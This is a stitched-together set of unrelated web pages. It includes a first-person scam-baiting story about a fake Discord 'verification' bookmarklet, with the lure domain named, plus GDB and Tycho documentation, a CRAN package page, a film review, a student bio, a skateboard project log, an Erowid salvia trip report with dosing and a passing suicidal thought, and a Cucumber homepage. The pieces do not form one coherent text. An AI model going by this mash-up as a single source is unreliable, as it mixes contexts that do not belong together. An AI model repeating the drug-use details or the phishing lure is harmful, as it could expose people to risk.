The Block
➡ Twitter thread
Earlier this week, someone claiming to be @fintechfrank from The Block reached out to me on discord to write about my "project". I was skeptical since I have multiple projects and the message was poorly worded. But I decided to give Frank the benefit of the doubt.
I tried to answer his questions as efficiently as possible. We decided to schedule a call, but not before I joined their discord to create an 'author request ticket'. But I was excited for my article in The Block, so I wanted to talk ASAP.
With the call postponed, I decided to join their discord. Its verification bot directed me to the very trustworthy looking url of botmee6.re, which had a pretty standard verification step of dragging a button into my bookmark bar.
The URL for this link attempted to run some JavaScript. This was too complicated for me, so I got frustrated and didn't do it.
A couple days later, daleybish reached out to me about my article! I was really excited since the Editor and Chief of Staff of such an important publication were reaching out. I tried to answer her question in as much depth as possible but she insisted I make a ticket in discord.
We tried troubleshooting. She hopped on a call with me to help, but her mic wasn't working. Eventually I got frustrated and decided to follow up with Frank to see if he wanted to just have the call anyhow.
Thankfully Frank's mic worked! We hopped on a call, and I asked him a few questions about himself. He got disconnected, but ultimately told me he lived in Miami and studied Art History before he became a journalist.
He offered to help me troubleshoot the discord verification, but I wanted to get down to business and talk about my big article in The Block! He eventually agreed, and I asked him what he thought about my work. He had some trouble answering and said he wasn't good with words...
This was a little strange coming from a journalist, but I let it slide! I asked him some more pointed questions, and he got a little defensive. He said that ultimately art is a very subjective experience, so it's difficult to fully capture what he feels in words.
We talked a bit more about the subjectivity of art, and he offered again to help me troubleshoot discord if I just screenshared. But I was having some trouble with my Chrome screensharing permissions and wanted to keep the conversation going while we were on a roll.
I asked what his favorite piece of art was, and he said the Mona Lisa (because of the technique and the composition). I could tell he was an art major! He also said his favorite crypto art was CryptoDickButts because they were so unique.
At this point Frank seemed sort of resigned for some reason, and asked me to describe my art. I told him about how I draw a lot of inspiration from scams -- particularly in how they construct false realities that mirror the false realities that we encounter in our everyday life.
He asked it scams could be art since they're unethical, to which I replied yes. He disagreed, but said there are a lot of scams in crypto. I asked him if he knew of any good ones, and he described one he heard of where a fake discord verification hijacks your account.
I asked why someone would want to hijack my account, and he suspected maybe it was to peak it my messages or something. Sounds mostly harmless to me. It seems like this is the attack that he was describing.
Then he suggested that maybe we collaborate on a project. Maybe since I like scams and money so much, that we could try to sell fake money... to which I responded that that sounds like a great idea! That's right up my alley and can be a new and exciting direction for my art.
Long story short, he's coming up to Brooklyn for a business meeting, but wants me to pay for his plane ticket since he's short on cash. I told him that he should buy some FastCash if he wants to make some cash fast.
After our call it seems like he ran into a bit of trouble. He pinged me, but stopped responding to my attempts to help him troubleshoot.
It was great talking to you fintechfrank! I'm looking forward to seeing my big article in The Block!


Shortcut Code is required.
Target Url is required.
Target Url must be a fully qualified URL (ex: http://www.google.com)


As stated i did both joint and individual projects as the following are the projects i did:
ABDALLAH ADAM
A Lion is what fully defines me as its that one living thing with its own character in short its a king an image
As stated up there again my name is Abdallah Adam,a fully kenyan man who finished his A level course last year as he is curently studying software development at moringa school and also working as the quality assurance in banking at KAPS LTD.I chose doing programing because i have been having a passion ever since i was a kid and i would like to achieve one of my dreams.
About my hobby is that i love engines as i am currently a rally driver and a retired rugby player as i love sports as i move from this sport to another and i chose to sportify myself forever.


Bayesian kernel projection classifier is a nonlinear multicategory classifier which performs the classification of the projections of the data to the principal axes of the feature space. A Gibbs sampler is implemented to find the posterior distributions of the parameters.
| Version: | 1.0.1 |
| Depends: | R (≥ 2.10) |
| Imports: | kernlab |
| Published: | 2018-03-13 |
| Author: | K. Domijan |
| Maintainer: | K. Domijan <domijank at tcd.ie> |
| License: | GPL-2 |
| NeedsCompilation: | yes |
| Materials: | README |
| CRAN checks: | BKPC results |
| Reference manual: | BKPC.pdf |
| Package source: | BKPC_1.0.1.tar.gz |
| Windows binaries: | r-devel: BKPC_1.0.1.zip, r-release: BKPC_1.0.1.zip, r-oldrel: BKPC_1.0.1.zip |
| OS X binaries: | r-release: BKPC_1.0.1.tgz, r-oldrel: BKPC_1.0.1.tgz |
| Old sources: | BKPC archive |
Please use the canonical form https://CRAN.R-project.org/package=BKPC to link to this page.


Film review by Kevin Patterson
Jackie Brown *** (out of four) R, 1997 Directed and written by Quentin Tarantino. Starring Pam Grier, Robert Forster, Samuel Jackson, Michael Keaton.
I suppose Quentin Tarantino was in an almost impossible position after the wide acclaim and endless hype of his 1994 film "Pulp Fiction," an offbeat crime movie that was not only possessed by a unique kind of manic energy but even emerged as something of a morality play by the time it was over. Personally, I didn't think "Pulp Fiction" was quite the masterpiece that many other movie-goers thought it was, but I can still see how it would be hard to top in terms of basic in-your-face impact. So I guess it's not such a surprise that his follow-up, "Jackie Brown," is something of a letdown.
Don't misunderstand - this film is not without its virtues. The story, adapted from a novel by Elmore Leonard, revolves around an upcoming payment of $500,000 for illegal gun sales by Ordell Robie (Samuel Jackson). When airline stewardess Jackie Brown (Pam Grier) is caught bringing a smaller transaction of money into the U.S. for Ordell, an ATF agent (Micheal Keaton) offers to get her off the hook if she will set up Ordell for them and hand over the $500,000. Meanwhile, Jackie formulates a plan that might, with the help of bond officer Max Cherry (Robert Forster) let her "take the money and run." The film spends most of the time following Jackie as she arranges things with Max while still trying to convince both Ordell and the authorities that she is on their side.
Numerous double-crosses and deceptions ensue, along with a surprisingly small body count; Tarantino has toned down the violence considerably from "Pulp Fiction" and his first film, "Reservoir Dogs." His offbeat humor is still present, however, especially when Louis (Robert DeNiro), a recently released bank robber who seems to have left his brain behind when he got out of jail, is involved; the dialogue between Louis, Ordell, and Ordell's "little blond surfer gal" Melanie make for some of the funniest moments. And as with most "caper" movies, the plot itself is interesting enough to keep the audience entertained most of the time.
I think the problem with "Jackie Brown" is just that it moves a little too slowly. There were times in this movie when I was actually kind of bored, and I think everyone, whether they liked "Pulp Fiction" and "Reservoir Dogs" or not, can pretty much agree that Quentin Tarantino had never put a boring moment on the screen before now. He has said publicly that he was aiming for a more low-key style with this film rather than trying to top himself and thus decided to focus on the characters, most notably Jackie, but I think he may have overdone it in this respect. These characters are better developed than those in most action/crime movies, but there are also some scenes which drag on too long without telling us anything very revealing about them or about the central storyline.
I figure that a movie that keeps me entertained at a very low level, through basic action sequences or simple plot manipulations, deserves two stars. "Jackie Brown" has the added benefit of Tarantino's style, humor, and character development, so it gets three. Don't go to see it expecting "Pulp Fiction II," but as a quirky, entertaining, and generally well-written crime movie, it delivers the goods.
- - - - - - Visit my Film Reviews page at: http://members.aol.com/KTPattersn/reviews.html
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


The file browser is used for
opening any Tycho file.
The file browser can be opened from most Tycho windows through pull-down
menus. Two different key sequences will also open the file browser,
which key sequence is used depends on whether you are using Windows
or Unix
keyboard shortcuts.
Under Windows style bindings, Alt-F O
brings up
the file browser. Under Unix style bindings, Control-x Control-f
brings up the file browser.
(In the Tycho documentation, we use the shorthand C-x C-f
).
Although the Tycho file browser is designed to be relatively
familiar to most users, it has some unique features.
Here is a summary of helpful hints:
- Double clicking on a file name will select it and open it.
Tab
is used for
file name completion.
- Repeated
Tab
s will scroll through matching file names.
- Up and down arrows (Microsoft Windows style)
plus the Emacs-like equivalent bindings
can be used to navigate through the list of file names (if you
are using file completion, use these to navigate through the list
of possible completions).
- The window can be resized to see more of the file names
(use whatever mechanisms your window manager provides).
- The name entered into the entry box can be
relative to the current directory displayed by the file browser
or absolute.
Most of the features of the file browser are exactly those of
any list browser in Tycho.
The differences are:
- If the user-selected item is a file, then the file is opened.
In the most common use of the file browser, the file is opened
using an editor that depends on the extension of the file name.
However, this can be modified in extensions to Tycho.
- If the user-selected is a directory, then the directory is read
and its contents are listed in the list box.
- The file browser also has a button for creating a new directory.
This brings up another dialog into which the user types the
new directory name.
Tycho Home Page
Copyright © 1996-1998, The Regents of the University of California.
All rights reserved.
Last updated: 05/18/98,
comments to: eal@eecs.berkeley.edu


| [ < ] | [ > ] | [ << ] | [ Up ] | [ >> ] | [Top] | [Contents] | [Index] | [ ? ] |
You can alter the way GDB interacts with you by using the
set
command. For commands controlling how GDB displays
data, see Print Settings. Other settings are
described here.
19.1 Prompt 19.2 Command Editing Command editing 19.3 Command History Command history 19.4 Screen Size Screen size 19.5 Numbers 19.6 Configuring the Current ABI Configuring the current ABI 19.7 Optional Warnings and Messages Optional warnings and messages 19.8 Optional Messages about Internal Happenings Optional messages about internal happenings
| [ < ] | [ > ] | [ << ] | [ Up ] | [ >> ] | [Top] | [Contents] | [Index] | [ ? ] |
GDB indicates its readiness to read a command by printing a string
called the prompt. This string is normally `(gdb)'. You
can change the prompt string with the set prompt
command. For
instance, when debugging GDB with GDB, it is useful to change
the prompt in one of the GDB sessions so that you can always tell
which one you are talking to.
Note: set prompt
does not add a space for you after the
prompt you set. This allows you to set a prompt which ends in a space
or a prompt that does not.
set prompt newprompt
show prompt
| [ < ] | [ > ] | [ << ] | [ Up ] | [ >> ] | [Top] | [Contents] | [Index] | [ ? ] |
GDB reads its input commands via the Readline interface. This
GNU library provides consistent behavior for programs which provide a
command line interface to the user. Advantages are GNU Emacs-style
or vi-style inline editing of commands, csh
-like history
substitution, and a storage and recall of command history across
debugging sessions.
You may control the behavior of command line editing in GDB with the
command set
.
set editing
set editing on
set editing off
show editing
See section 27. Command Line Editing, for more details about the Readline
interface. Users unfamiliar with GNU Emacs or vi
are
encouraged to read that chapter.
| [ < ] | [ > ] | [ << ] | [ Up ] | [ >> ] | [Top] | [Contents] | [Index] | [ ? ] |
GDB can keep track of the commands you type during your debugging sessions, so that you can be certain of precisely what happened. Use these commands to manage the GDB command history facility.
GDB uses the GNU History library, a part of the Readline package, to provide the history facility. See section 28. Using History Interactively, for the detailed description of the History library.
To issue a command to GDB without affecting certain aspects of the state which is seen by users, prefix it with `server ' (see section 25.2 The Server Prefix). This means that this command will not affect the command history, nor will it affect GDB's notion of which command to repeat if RET is pressed on a line by itself.
The server prefix does not affect the recording of values into the value
history; to print a value without recording it into the value history,
use the output
command instead of the print
command.
Here is the description of GDB commands related to command history.
set history filename fname
GDBHISTFILE
, or to
`./.gdb_history' (`./_gdb_history' on MS-DOS) if this variable
is not set.
set history save
set history save on
set history filename
command. By default, this option is disabled.
set history save off
set history size size
HISTSIZE
, or to 256 if this variable is not set.
History expansion assigns special meaning to the character !. See section 28.1.1 Event Designators, for more details.
Since ! is also the logical not operator in C, history expansion
is off by default. If you decide to enable history expansion with the
set history expansion on
command, you may sometimes need to
follow ! (when it is used as logical not, in an expression) with
a space or a tab to prevent it from being expanded. The readline
history facilities do not attempt substitution on the strings
!= and !(, even when history expansion is enabled.
The commands to control history expansion are:
set history expansion on
set history expansion
set history expansion off
show history
show history filename
show history save
show history size
show history expansion
show history
by itself displays all four states.
show commands
show commands n
show commands +
| [ < ] | [ > ] | [ << ] | [ Up ] | [ >> ] | [Top] | [Contents] | [Index] | [ ? ] |
Certain commands to GDB may produce large amounts of information output to the screen. To help you read all of it, GDB pauses and asks you for input at the end of each page of output. Type RET when you want to continue the output, or q to discard the remaining output. Also, the screen width setting determines when to wrap lines of output. Depending on what is being printed, GDB tries to break the line at a readable place, rather than simply letting it overflow onto the following line.
Normally GDB knows the size of the screen from the terminal
driver software. For example, on Unix GDB uses the termcap data base
together with the value of the TERM
environment variable and the
stty rows
and stty cols
settings. If this is not correct,
you can override it with the set height
and set
width
commands:
set height lpp
show height
set width cpl
show width
set
commands specify a screen height of lpp lines and
a screen width of cpl characters. The associated show
commands display the current settings.
If you specify a height of zero lines, GDB does not pause during output no matter how long the output is. This is useful if output is to a file or to an editor buffer.
Likewise, you can specify `set width 0' to prevent GDB from wrapping its output.
set pagination on
set pagination off
set height 0
.
show pagination
| [ < ] | [ > ] | [ << ] | [ Up ] | [ >> ] | [Top] | [Contents] | [Index] | [ ? ] |
You can always enter numbers in octal, decimal, or hexadecimal in GDB by the usual conventions: octal numbers begin with `0', decimal numbers end with `.', and hexadecimal numbers begin with `0x'. Numbers that neither begin with `0' or `0x', nor end with a `.' are, by default, entered in base 10; likewise, the default display for numbers--when no particular format is specified--is base 10. You can change the default base for both input and output with the commands described below.
set input-radix base
set input-radix 012 set input-radix 10. set input-radix 0xa |
sets the input base to decimal. On the other hand, `set input-radix 10' leaves the input radix unchanged, no matter what it was, since `10', being without any leading or trailing signs of its base, is interpreted in the current radix. Thus, if the current radix is 16, `10' is interpreted in hex, i.e. as 16 decimal, which doesn't change the radix.
set output-radix base
show input-radix
show output-radix
set radix [base]
show radix
set radix
sets the radix of input and output to
the same base; without an argument, it resets the radix back to its
default value of 10.
| [ < ] | [ > ] | [ << ] | [ Up ] | [ >> ] | [Top] | [Contents] | [Index] | [ ? ] |
GDB can determine the ABI (Application Binary Interface) of your application automatically. However, sometimes you need to override its conclusions. Use these commands to manage GDB's view of the current ABI.
One GDB configuration can debug binaries for multiple operating
system targets, either via remote debugging or native emulation.
GDB will autodetect the OS ABI (Operating System ABI) in use,
but you can override its conclusion using the set osabi
command.
One example where this is useful is in debugging of binaries which use
an alternate C library (e.g. UCLIBC for GNU/Linux) which does
not have the same identifying marks that the standard C library for your
platform provides.
show osabi
set osabi
set osabi abi
Generally, the way that an argument of type float
is passed to a
function depends on whether the function is prototyped. For a prototyped
(i.e. ANSI/ISO style) function, float
arguments are passed unchanged,
according to the architecture's convention for float
. For unprototyped
(i.e. K&R style) functions, float
arguments are first promoted to type
double
and then passed.
Unfortunately, some forms of debug information do not reliably indicate whether a function is prototyped. If GDB calls a function that is not marked as prototyped, it consults set coerce-float-to-double.
set coerce-float-to-double
set coerce-float-to-double on
float
will be promoted to double
when passed
to an unprototyped function. This is the default setting.
set coerce-float-to-double off
float
will be passed directly to unprototyped
functions.
show coerce-float-to-double
float
to double
.
GDB needs to know the ABI used for your program's C++
objects. The correct C++ ABI depends on which C++ compiler was
used to build your application. GDB only fully supports
programs with a single C++ ABI; if your program contains code using
multiple C++ ABI's or if GDB can not identify your
program's ABI correctly, you can tell GDB which ABI to use.
Currently supported ABI's include "gnu-v2", for g++
versions
before 3.0, "gnu-v3", for g++
versions 3.0 and later, and
"hpaCC" for the HP ANSI C++ compiler. Other C++ compilers may
use the "gnu-v2" or "gnu-v3" ABI's as well. The default setting is
"auto".
show cp-abi
set cp-abi
set cp-abi abi
set cp-abi auto
| [ < ] | [ > ] | [ << ] | [ Up ] | [ >> ] | [Top] | [Contents] | [Index] | [ ? ] |
By default, GDB is silent about its inner workings. If you are
running on a slow machine, you may want to use the set verbose
command. This makes GDB tell you when it does a lengthy
internal operation, so you will not think it has crashed.
Currently, the messages controlled by set verbose
are those
which announce that the symbol table for a source file is being read;
see symbol-file
in Commands to Specify Files.
set verbose on
set verbose off
show verbose
set verbose
is on or off.
By default, if GDB encounters bugs in the symbol table of an object file, it is silent; but if you are debugging a compiler, you may find this information useful (see section Errors Reading Symbol Files).
set complaints limit
show complaints
By default, GDB is cautious, and asks what sometimes seems to be a lot of stupid questions to confirm certain commands. For example, if you try to run a program which is already running:
(gdb) run The program being debugged has been started already. Start it from the beginning? (y or n) |
If you are willing to unflinchingly face the consequences of your own commands, you can disable this "feature":
set confirm off
set confirm on
show confirm
If you need to debug user-defined commands or sourced files you may find it useful to enable command tracing. In this mode each command will be printed as it is executed, prefixed with one or more `+' symbols, the quantity denoting the call depth of each command.
set trace-commands on
set trace-commands off
show trace-commands
| [ < ] | [ > ] | [ << ] | [ Up ] | [ >> ] | [Top] | [Contents] | [Index] | [ ? ] |
GDB has commands that enable optional debugging messages from various GDB subsystems; normally these commands are of interest to GDB maintainers, or when reporting a bug. This section documents those commands.
set exec-done-display
show exec-done-display
set debug arch
show debug arch
set debug aix-thread
show debug aix-thread
set debug event
show debug event
set debug expression
show debug expression
set debug frame
show debug frame
set debug infrun
show debug infrun
set debug lin-lwp
show debug lin-lwp
set debug observer
show debug observer
set debug overload
show debug overload
set debug remote
show debug remote
set debug serial
show debug serial
set debug solib-frv
show debug solib-frv
set debug target
run
command.
show debug target
set debugvarobj
show debugvarobj
set debug xml
show debug xml
| [ << ] | [ >> ] | [Top] | [Contents] | [Index] | [ ? ] |
Please send FSF & GNU inquiries & questions to<EMAIL_ADDRESS>There are also other ways to contact the FSF.
These pages are maintained by the GDB developers.
Copyright Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111, USA.
Verbatim copying and distribution of this entire article is permitted in any medium, provided this notice is preserved.
This document was generated by GDB Administrator on March, 27 2008 using texi2html


state of first switch: {{data.switchOne}}
state of second switch: {{data.switchTwo}}
state of third switch: {{data.switchThree}}
state of fourth switch: {{data.switchFour}}
state of fifth switch: {{data.switchFive}}
state of sixth switch: {{sixState}}
state of seventh switch: {{data.switchSeven}}


zoo.pipeline.api.keras.datasets package¶
Submodules¶
zoo.pipeline.api.keras.datasets.boston_housing module¶
-
zoo.pipeline.api.keras.datasets.boston_housing.
load_data
(path='boston_housing.npz', dest_dir='/tmp/.zoo/dataset', test_split=0.2)[source]¶ Loads the Boston Housing dataset, the source url of download is copied from keras.datasets # Arguments dest_dir: where to cache the data (relative to ~/.zoo/dataset). nb_words: number of words to keep, the words are already indexed by frequency so that the less frequent words would be abandoned oov_char: index to pad the abandoned words, if None, one abandoned word would be taken place with its next word and total length -= 1 test_split: the ratio to split part of dataset to test data, the remained data would be train data
# Returns Tuple of Numpy arrays: (x_train, y_train), (x_test, y_test).
zoo.pipeline.api.keras.datasets.imdb module¶
-
zoo.pipeline.api.keras.datasets.imdb.
download_imdb
(dest_dir)[source]¶ Download pre-processed IMDB movie review data
:argument dest_dir: destination directory to store the data
:return The absolute path of the stored data
-
zoo.pipeline.api.keras.datasets.imdb.
get_word_index
(dest_dir='/tmp/.zoo/dataset', filename='imdb_word_index.pkl')[source]¶ Retrieves the dictionary mapping word indices back to words.
# Arguments dest_dir: where to cache the data (relative to ~/.zoo/dataset). filename: dataset file name
# Returns The word index dictionary.
-
zoo.pipeline.api.keras.datasets.imdb.
load_data
(dest_dir='/tmp/.zoo/dataset', nb_words=None, oov_char=2)[source]¶ Load IMDB dataset.
:argument dest_dir: where to cache the data (relative to ~/.zoo/dataset). nb_words: number of words to keep, the words are already indexed by frequency so that the less frequent words would be abandoned oov_char: index to pad the abandoned words, if None, one abandoned word would be taken place with its next word and total length -= 1 :return the train, test separated IMDB dataset.
zoo.pipeline.api.keras.datasets.mnist module¶
-
zoo.pipeline.api.keras.datasets.mnist.
extract_images
(f)[source]¶ Extract the images into a 4D uint8 numpy array [index, y, x, depth].
Param: f: A file object that can be passed into a gzip reader. Returns: data: A 4D unit8 numpy array [index, y, x, depth]. Raise: ValueError: If the bytestream does not start with 2051.
-
zoo.pipeline.api.keras.datasets.mnist.
read_data_sets
(train_dir, data_type='train')[source]¶ Parse or download mnist data if train_dir is empty.
Param: train_dir: The directory storing the mnist data Param: data_type: Reading training set or testing set.It can be either “train” or “test” Returns: (ndarray, ndarray) representing (features, labels) features is a 4D unit8 numpy array [index, y, x, depth] representing each pixel valued from 0 to 255. labels is 1D unit8 nunpy array representing the label valued from 0 to 9.
zoo.pipeline.api.keras.datasets.reuters module¶
-
zoo.pipeline.api.keras.datasets.reuters.
download_reuters
(dest_dir)[source]¶ Download pre-processed reuters newswire data
:argument dest_dir: destination directory to store the data
:return The absolute path of the stored data
-
zoo.pipeline.api.keras.datasets.reuters.
get_word_index
(dest_dir='/tmp/.zoo/dataset', filename='reuters_word_index.pkl')[source]¶ Retrieves the dictionary mapping word indices back to words.
# Arguments dest_dir: where to cache the data (relative to ~/.zoo/dataset). filename: dataset file name
# Returns The word index dictionary.
-
zoo.pipeline.api.keras.datasets.reuters.
load_data
(dest_dir='/tmp/.zoo/dataset', nb_words=None, oov_char=2, test_split=0.2)[source]¶ Load reuters dataset.
:argument dest_dir: where to cache the data (relative to ~/.zoo/dataset). nb_words: number of words to keep, the words are already indexed by frequency so that the less frequent words would be abandoned oov_char: index to pad the abandoned words, if None, one abandoned word would be taken place with its next word and total length -= 1 test_split: the ratio to split part of dataset to test data, the remained data would be train data
:return the train, test separated reuters dataset.


Application saved
Your reference number is
1280880
We have sent you an email you can return to your application with.
Your reference number is
1280880
We have sent you an email you can return to your application with.


Skateboard Laminating
The project we carried out throughout Rotation 7 was making a skateboard deck.
The first part of the skateboard was the lamination of the various wood sheets with Titebond III glue.
This part was challenging but we managed to carry out everything at a good speed.
Skateboard Vacuum-Bag
The next step to make the dech was vacuum forming the glued sheets, we had just about 7 minutes to complete step 1 and 2.
The vacuum bag has a breather to get the air out of the whole bag, and it was closed with a strip of tar to seal everything.
Skateboard Vinyl
While I waited for the skateboard to sit for about 24h, I searched for an image that I would like to use for the skateboard.
Then I printed it with the Roland VersaCAMM SP-540i that I learnt how to use during the last rotation. After the 24h, I sanded the skateboard and
placed the vinyl with the help of some classmates. I decided to cut 2mm from the counour of the vinyl to make it look like a storebought skateboard.
This is the file to the picture that I used and modified with photoshop.
Skateboard Vinyl
Skateboard SPAR Urethane Coating
The last step to have a new shiny and durable skateboard deck was to put a couple coatings of SPAR Urethane,
a varnish that protects the vinyl and the wood.
Skateboard End Result
This project consisted in engraving a Glass using the rotary atachment of the laser cutter
as shown below. The cghallenge was that the height and width dimensions were confusing.


Drug geek is what you may call someone of my nature. I am one who is fascinated by the effects that drugs can have on the human mind and am excited to experiment with them myself. My past experiments were conducted on what the internet calls “legal highs” these include such drugs as the Amanitas Mushrooms, Blue Lotus, Kratom, Kava Kava, DXM, Morning Glory Seeds and Salvia.
I was slightly nervous about that night for I hadn’t tripped in a while. Considering that during my experimental phase of salvia I was taking it about two times a week (if you would like to view my experimental phase of salvia it can found at http://erowid.org/experiences/exp.php?ID=63532). I was slightly on edge but wanted to break though that night so I loaded up my pipe with 100mg of 10x. I had become very accustom to 6x in the past but finding a good deal a few days ago I decided to go for the 10x. This could have been the simple mistake that lead to the events that occurred or perhaps I should of stuck to my own rule of don’t trip if your nervous.
No trip sitter was present during my experience nor have I ever found the need for one. I have had literally hundreds of attempts under my belt and I was not expecting anything out of the ordinary. Also a little note I record my trips for latter review. This will come into play latter on in the reading.
One hit of salvia held for 30 seconds. Salvia's effects began to slowly creep over me. I was in a state of perpetual falling. What I was falling into could best be described as nothingness or a state of non familiarity. Everything was so different to myself, even such things as my arms, which swung around violently during my trip. I had little idea how things should normally be but like a double edge sword if I have no idea that something is wrong or out of place then I have nothing to fight against.
After the peak I got some time to look at the light coming off of a table lamp in this state. I could see every single strand of light come out and hit me. I noticed that at the point of fracture with my skin the light was curved like as if it was holding onto me. I decided that it was the lights fault that I didn’t have a deep trip and that this explains why everyone says that you should trip in a dark room with the lights off. I swiftly promised myself that the lights would be off in my next trip. The intensity died down and everything was back to normal. I would consider that a light trip.
I’m not a wasteful person and I wasn’t quite sure if I had gotten everything out of the pipe the first time or if it was just ash now. I cleared the bowl in two hits. About 15 seconds in of holding it I was feeling the initial effects. This was quite strange for it to come so fast and I knew I must of hit something really good. I laid down on my bed in anticipation.
I was no longer a person as a whole but I was still that person. It's hard to describe in human words but I was somehow my whole cellular body and yet I was one cell of that body. While I was one cell of my body I looked as I do now. I had my head, legs, torso, etc. Every cell is the same and I could see all of them stretch off into infinity in every direction. I was literally beside myself and somewhat freaked out. I mean who wouldn’t be if your were suddenly in some weird place were everyone was the same. How could I tell that I was the real me?
Jumping back to the regular body now I was still greatly confused and I had just come to the conclusion that I was still holding my breath. How long have I gone without any oxygen? I had no idea but I started forcing the air in and out of my lungs although it didn’t feel like any of the oxygen was absorbing. Luckily I still knew enough that this will pass and I should just keep breathing. The room was to dark to conclude, from the video, when I started breathing again.
This breathing is now creating a problem on the single cell level for all the cells were rapidly moving up and down and left and right like all of the cells around it. This was far from pleasant and I just wanted it to all end. If I were to have to live the rest of my life in this state I would of just killed myself. My thoughts were racing though my mind, I was a fool for having no trip sitter, my confidence of going it alone just crumbled around me.
All I knew was that I needed to get away from all of this. In this state I was able to conclude that fleeing the room was my option to escaping. Although running away from problems never helped anything I still stumbled out of my door and fled to my left. I chose this direction because I have found in my trips that whenever something psychedelic happens its always on the right hand side. So I could say that I was fleeing to the side of sanity. After 10 feet of attempted walking I hit the south end wall of the house and plopped myself down on a chair.
During the time of sitting I could see what the larger pictures of all of these cells created. It was my own red shirt suspended hundreds of feet about the floor. These images of the cells were superimposed upon the regular image of reality. So helpless I felt I felt just sitting there unable to fully comprehend what was going on. I did find that I could produce a little more comfort by facing a cretin direction. So I sat there facing the south wall shielding myself from the enormous force that threatened to crush my entire body.
A few more minutes passed. The trip has still not subsided and I was still having trouble breathing. To make matters worse I was randomly switching from being myself and being one cell of myself. I remember thinking to myself how crazy I must of looked if someone were to walk in right now.  I was at is time trying to rationalize the situation and stop myself from calling an ambulance.  “It only last for about 8 minutes your almost there,” the truth of the matter was that this was not my typical 8 minute trip this was an astonishing 15 minute trip.
I was then blessed with a startling revolution. I had come to the conclusion that time, is just a thing made by humans to provide a form a measurement. And how if time didn’t even exist then there wouldn’t be a need for a beginning or an end making some of life’s questions disappear. What humans were trying to measure for time was simply the movement of energy. They looked up into the sky and saw that there was night and day, however that night and day is just the movement of the energy of rotation. And since energy is cyclical it doesn’t really matter how many times it moves.
After some time I felt as if oxygen was doing its job properly. I made my way to my bed and laid down to relax off this intense trip. When I thought that all effects were over I got off my bed and stopped the web cam that was running on my computer. I must of caught something really great I was thinking to myself. I reviewed the first trip of the night and it was pretty ordinary except for the flailing arms part which caught me a little off guard.
Now it was time to review the second trip. I couldn’t believe it the first time though. “No there must have been a mistake, I must of played the wrong video,” I thought to myself. The truth of the matter is that this was the record of the trip that I had just experienced. The video actually showed little of what I was expecting, for I was expecting it to show me rush of the room at some point with a panicked look on my face. That video showed me taking the hit and then laying down. At no point did I ever get up or run out of the room. I just simply laid there for about 5 minutes and then my feet started to move as If I were trying to walk. They stop or I had simply given up and then I laid there for about 8 more minutes before I got up to turn off the web cam.
How could this of been possible? I remember so well struggling my way though the house. I could still recall the feeling of the textured paint on the wall that I ran into. If that wasn’t real then what else could have been made up?
That saliva trip had changed my life. Before I thought that everything could be measured and that there was no mystery if all of the variables were taken into account. I can say that I no longer think that way. I no longer trust everything that I hear and I hold most ideas to question. Don’t get me wrong, that was a truly terrifying 15 minutes and I don’t think that all of which has changed for the better has justified the means. I have given up salvia at this point dispersing what was left of my collection along to unlucky friends and relatives. Only keeping half and oz of the plain leaf if I should ever change my mind.
--A Few months latter--
I must be insane to have even tried it again. Plain leaf it may be however still powerful none the less. Every time I try salvia now I just have a flash back for that one bad experience. I think I understand now that salvia is torturing me. She doesn’t like to be experimented on. I feel as if I opened a door that was never meant to be broken. It was like the backdoor into another form of conscious. I hope that somehow that which connects me with that reality will be broken.
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


1. Describe behaviour in plain text
2. Write a step definition in Ruby
3. Run and watch it fail
4. Write code to make the step pass
5. Run again and see the step pass
6. Repeat 2-5 until green like a cuke
7. Repeat 1-6 until the money runs out
Cucumber lets software development teams describe how software should behave in plain text. The text is written in a business-readable domain-specific language and serves as documentation, automated tests and development-aid - all rolled into one format.
Cucumber works with Ruby, Java, .NET, Flex or web applications written in any language. It has been translated to over 40 spoken languages.
Cucumber also supports more succinct tests in tables - similar to what FIT does. Dig around in the examples and documentation to learn more about Cucumber tables.
Background and Credits
Cucumber is Aslak Hellesøy’s rewrite of RSpec’s “Story runner”, which was originally written by Dan North. (Which again was a rewrite of his first implementation - RBehave. RBehave was his Ruby port of JBehave). Early versions of the RSpec “Story Runner” required that stories be written in Ruby. Seeing how much this sucked David Chelimsky added plain text support with contributions from half a dozen other people.
In April 2008, Aslak Hellesøy started the Cucumber project to address the internal design flaws and usability problems of the RSpec Story Runner (Yes - Cucumber also has warts on the inside). Joseph Wilk and Ben Mabey joined as regular contributors when Cucumber was just a little Gherkin. Matt Wynne joined the Cucumber team in September 2009 after. Mike Sassak and Gregory Hnatiuk joined in October 2009 after their great work on a faster parser for Cucumber. In addition to the core team over 160 250 developers have contributed patches, bugfixes, tears and joy.
Cucumber's plain text DSL (Gherkin) somehow came out from the Agile community, mostly based on distillations made by Dan North, Chris Matts, Liz Keogh, David Chelimsky and dozens of people on the RSpec and Cucumber mailing lists. And me.
Half day tutorial at the EuroSTAR conference 25. Nov 2014.
2 Days BDD/Cucumber conference in NYC 30 Sep - 1 Oct.
Join our BDD/Cucumber training coming up in Berlin (22-25 Oct) and Atlanta, GA (5-7 Nov).
The authoritative Cucumber guide. Written by core team member Matt Wynne and Cucumber creator Aslak Hellesøy.
Forty practical recipes covering testing on desktop, web, mobile, and server applications across a variety of platforms.
Bob Payne of the Agile Toolkit interviews Aslak Hellesøy.
September 6, 2009 - Introduction to Outside-in Development with Cucumber - Carl Youngblood.
July 24, 2009 - Ruby Classes via Cucumber by Joseph Leddy & Leah Welty-Rieger at Obtiva.
May 21, 2009 - Joseph Wilk from the Cucumber team presents Outside-In development with Cucumber at Scotland On Rails 2009.
Apr 27, 2009 - Ryan Bates from RailsCasts dives into tables, scenario outlines and tags.
Apr 01, 2009 - Bryan Liles gives an introduction to Cucumber, Webrat and Integrity.
Mar 30, 2009 - Ryan Bates from RailsCasts demonstrates how to get started with Cucumber and Ruby on Rails.
Mar 14, 2009 - Ben Mabey presents at MountainWest RubyConf. Download the slides and follow along!
Feb 04, 2009 - Jeff Dean talks about his experience with Cucumber at Pivotal Labs.
